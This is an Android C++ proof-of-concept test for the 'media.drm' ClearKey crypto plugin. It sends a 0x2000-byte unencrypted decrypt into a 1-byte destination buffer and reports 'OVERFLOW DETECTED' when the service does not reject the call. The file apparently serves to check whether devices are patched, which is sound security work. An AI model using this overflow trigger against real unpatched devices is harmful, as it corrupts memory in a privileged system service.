/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include using namespace android; int main() { sp sm = defaultServiceManager(); sp binder = sm->getService(String16("media.drm")); sp service = interface_cast(binder); if (service == NULL) { printf("Failed to retrieve 'media.drm' service.\n"); return 1; } sp crypto = service->makeCrypto(); if (crypto == NULL) { printf("makeCrypto failed.\n"); return 1; } const uint8_t clearkey_uuid[16] = { 0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B }; if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) { printf("createPlugin failed.\n"); return 1; } sp heap = new MemoryHeapBase(0x2000); memset(heap->getBase(), 'A', 0x2000); sp sourceMemory = new MemoryBase(heap, 0, 0x2000); sp destMemory = new MemoryBase(heap, 0x1fff, 1); int heapSeqNum = crypto->setHeap(heap); if (heapSeqNum < 0) { printf("setHeap failed.\n"); return 1; } CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 }; ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory, .mHeapSeqNum = heapSeqNum }; CryptoPlugin::SubSample subSamples[1] = { { .mNumBytesOfClearData = 0x2000, .mNumBytesOfEncryptedData = 0 } }; ICrypto::DestinationBuffer destination = { .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL, .mSharedMemory = destMemory }; int val = crypto->decrypt(NULL, NULL, CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples, 1, destination, NULL); if (val != BAD_VALUE) { printf("OVERFLOW DETECTED\n"); } return 0; }